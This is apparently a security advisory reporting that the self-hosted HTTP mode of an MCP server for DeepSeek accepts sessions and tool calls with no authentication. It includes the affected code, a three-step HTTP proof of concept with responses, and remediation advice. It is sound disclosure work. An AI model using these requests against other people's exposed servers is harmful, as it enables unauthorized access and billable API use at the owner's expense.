GHSA-72f3-6w86-7rv3

## Summary The self-hosted HTTP transport of `@arikusi/deepseek-mcp-server` exposes `POST /mcp` without any authentication: `createMcpExpressApp` is called without an `authProvider` and no middleware guards the route, so any network-reachable client can issue an unauthenticated `initialize` request and obtain a valid MCP session identifier. In reproduced testing against commit `5e1302171e99`, an unauthenticated client was able to initialize a session, enumerate tools, and invoke the local `deepseek_sessions` tool with no credentials. The same unauthenticated session also exposes `deepseek_chat`, whose handler uses the server-side `DEEPSEEK_API_KEY` when self-hosted deployments configure one.

This issue applies to self-hosted HTTP mode, not the separately documented hosted BYOK endpoint in `README.md`, which expects an `Authorization: Bearer ...` header. Upstream self-hosted container assets enable HTTP mode by default (`Dockerfile`) and publish port `3000` (`docker-compose.yml`).

## Affected Code `src/transport-http.ts:17` — `createMcpExpressApp` called without `authProvider`; no challenge is issued to incoming requests

```typescript export function createHttpApp(serverFactory: () => McpServer) { const app = createMcpExpressApp({ host: '0.0.0.0' }); ```

`src/transport-http.ts:31` — `POST /mcp` handler instantiates a full MCP session for any body that satisfies `isInitializeRequest`, with no preceding auth check

```typescript app.post('/mcp', async (req, res) => { const sessionId = req.headers['mcp-session-id'] as string | undefined;

if (sessionId && transports[sessionId]) { await transports[sessionId].handleRequest(req, res, req.body); return; }

if (!sessionId && isInitializeRequest(req.body)) { const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), onsessioninitialized: (id) => { transports[id] = transport; console.error(`[DeepSeek MCP] HTTP session initialized: ${id}`); }, });

const server = serverFactory(); await server.connect(transport); await transport.handleRequest(req, res, req.body); ```

HTTP client → `POST /mcp` (no auth middleware) → `transport-http.ts:41` (`isInitializeRequest` branch) → `transport-http.ts:57–59` (`serverFactory()+connect+handleRequest`)

`Dockerfile:12-13` — upstream container image defaults to self-hosted HTTP mode

```dockerfile ENV TRANSPORT=http ENV HTTP_PORT=3000 ```

`docker-compose.yml:4-8` — upstream compose file publishes port `3000` and enables HTTP mode

```yaml services: deepseek-mcp: ports: - "3000:3000" environment: - TRANSPORT=http ```

## Proof of Concept Step 1 — send unauthenticated `initialize`: server returns HTTP 200 and a live `mcp-session-id` — proves no credentials are required to establish a session.

```bash python3 poc.py ```

```http POST /mcp HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc-client","version":"1.0"}}} ```

```http HTTP/1.1 200 OK content-type: text/event-stream mcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba

event: message data: {"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true}},"serverInfo":{"name":"deepseek-mcp-server","version":"1.7.0"}},"jsonrpc":"2.0","id":1} ```

Step 2 — send unauthenticated `tools/list` on the obtained session: server returns the full tool surface (`deepseek_chat`, `deepseek_sessions`) — proves tool discovery is reachable without credentials.

```http POST /mcp HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Accept: application/json, text/event-stream mcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba

{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}} ```

```text RESULT: PASS — tools/list returned deepseek_chat and deepseek_sessions with no credentials supplied. ```

Step 3 — send unauthenticated `tools/call` for the local `deepseek_sessions` tool on the obtained session: server executes the tool and returns its result with no credentials supplied.

```http POST /mcp HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Accept: application/json, text/event-stream mcp-session-id: 6cf58ad1-40cc-4cd4-99a3-f5f198b8bf71

{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"deepseek_sessions","arguments":{"action":"list"}}} ```

```http HTTP/1.1 200 OK content-type: text/event-stream

event: message data: {"result":{"content":[{"type":"text","text":"No active sessions."}]},"jsonrpc":"2.0","id":2} ```

## Impact In self-hosted HTTP deployments, any host with network access to port `3000` can establish an authenticated-equivalent MCP session and invoke built-in MCP tools without supplying credentials. This was verified end-to-end for session establishment, tool enumeration, and execution of the local `deepseek_sessions` tool.

`deepseek_chat` is exposed through the same unauthenticated MCP session, and its handler routes requests through the server-side DeepSeek client. That means a deployment using a valid server-side `DEEPSEEK_API_KEY` places billable DeepSeek operations behind an unauthenticated endpoint. However, this report's reproduced PoC used a dummy API key and did not directly validate successful upstream DeepSeek billing or quota consumption.

## Remediation Require authentication in self-hosted HTTP mode before MCP session creation. At minimum, pass an `authProvider` to `createMcpExpressApp` at `transport-http.ts:17` or place equivalent authentication middleware / a reverse proxy in front of `/mcp` so unauthenticated clients never reach the initialize branch:

```typescript const app = createMcpExpressApp({ host: '0.0.0.0', authProvider, }); ```

For deployments that only need local access, bind to `127.0.0.1` instead of `0.0.0.0` in both `createMcpExpressApp` and `app.listen` (`transport-http.ts:17` and `:107`) as a defence-in-depth measure. Upstream `docker-compose.yml` currently publishes `3000:3000`; changing that to `127.0.0.1:3000:3000` would reduce inadvertent exposure on multi-user or server hosts.